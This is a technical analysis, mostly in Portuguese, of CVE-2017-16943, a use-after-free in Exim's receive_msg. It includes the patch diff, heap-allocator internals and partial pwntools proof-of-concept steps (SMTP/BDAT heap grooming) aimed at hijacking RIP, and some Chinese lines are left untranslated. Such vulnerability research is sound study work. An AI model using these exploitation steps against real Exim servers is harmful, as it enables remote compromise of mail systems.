
Análise técnica e prova de conceito para CVE-2017-16943, um use-after-free na função receive_msg do Exim, demonstrando manipulação de heap e sequestro de RIP.
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Modifique as variáveis de caminho e o nome de usuário no Makefile
cd ..
make -j8
sudo make install
Após a instalação, altere accept hosts = : para accept hosts = * no configure
Execute:
exim -bdf -d-receive
Esta vulnerabilidade é um UAF (Use-After-Free), que ocorre na função receive_msg em receive.c, função responsável por receber entradas do cliente. Veja o registro do patch:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
Aqui, vamos esclarecer o papel de algumas variáveis globais:
current_block: 当前的storeblock,下次使用store_get_3的时候优先从该storeblock寻找空闲区域
next_yield:指向current_block中空闲区块的起始地址,storeblock一般来说是上半部分被使用,下半部分空闲
yield_length:next_yield的长度
Analisando o PoC do meh, podemos ver que o programa sem patch pode desencadear um UAF através do seguinte processo de layout de heap:

Em seguida, use o comando bdat para alocar um buffer abaixo desse texto.
Por que usar o comando bdat?
Na verdade, comandos como auth plain ou comandos ilegais compostos por caracteres não imprimíveis também podem alocar um buffer abaixo do texto, mas outras instruções farão com que a função receive_msg saia. Ao entrar novamente em receive_msg, next->text apontará para outra área, impedindo que a vulnerabilidade seja acionada. Já o comando bdat não faz com que a função receive_msg atual saia, o que é crucial.

Então, envie caracteres continuamente para preencher next_text (inicialmente 0x100), e o programa chegará ao ponto vulnerável.
Em store_extend, descobre-se que a extensão não é possível devido à presença do buffer bdat, então store_get é executado para obter a área apontada por next_yield, e em seguida a função store_release é chamada.
Nessa função, apenas verifica-se se o parâmetro de release é o início de um storeblock, mas não verifica se há outros buffers após ele, e então o storeblock é liberado diretamente. Isso faz com que o endereço retornado por store_get ainda esteja dentro de current_block, mas em seguida o current_block é liberado, resultando em um UAF.
Aqui, explicaremos passo a passo como sequestrar o RIP usando o código PoC.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
Primeiro, enviamos um monte de dados para que yield_length fique menor que 0x130, mas maior que 0x30.
Por que isso é necessário? Vejamos o início da função receive_msg:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
Podemos ver que antes de alocar next->text, dois buffers de tamanho sizeof(header_line) (0x18) são alocados.
Portanto, se após alocar esses dois blocos de 0x18, o yield_length restante for menor que 0x100, ao alocar next->text, store_get alocará um novo storeblock, e next->text estará no início desse storeblock.
Em seguida, chamamos o comando bdat:
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
Esse comando contém um caractere não imprimível, o que fará com que store_get seja chamado para alocar um buffer para armazenar a mensagem de erro:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Comandos ilegais que contenham caracteres não imprimíveis também podem resultar em alocação extra de heap.)
Neste ponto, enviamos caracteres continuamente:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
Isso preencherá next->text byte a byte com os caracteres recebidos. Quando o espaço livre de 0x100 estiver cheio, o código vulnerável será executado para expandir o tamanho de next->text.
Primeiro, entra-se em store_extend(next->text, oldsize, header_size) para tentar expandir diretamente:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
A verificação principal está nas linhas 276-277.
A primeira condição verifica se o ponteiro ptr a ser expandido está imediatamente seguido por next_yield.
A segunda condição verifica se, somando o tamanho de next_yield (ou seja, yield_length), é suficiente.
Obviamente, a primeira condição não é satisfeita, pois next->text é seguido por um buffer bdat, e só depois vem next_yield.
Em seguida, store_get é chamado para alocar um novo bloco, que é atribuído a next_yield.
Então, store_release é chamado para liberar o next_text original. Observe a lógica de verificação aqui:
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487: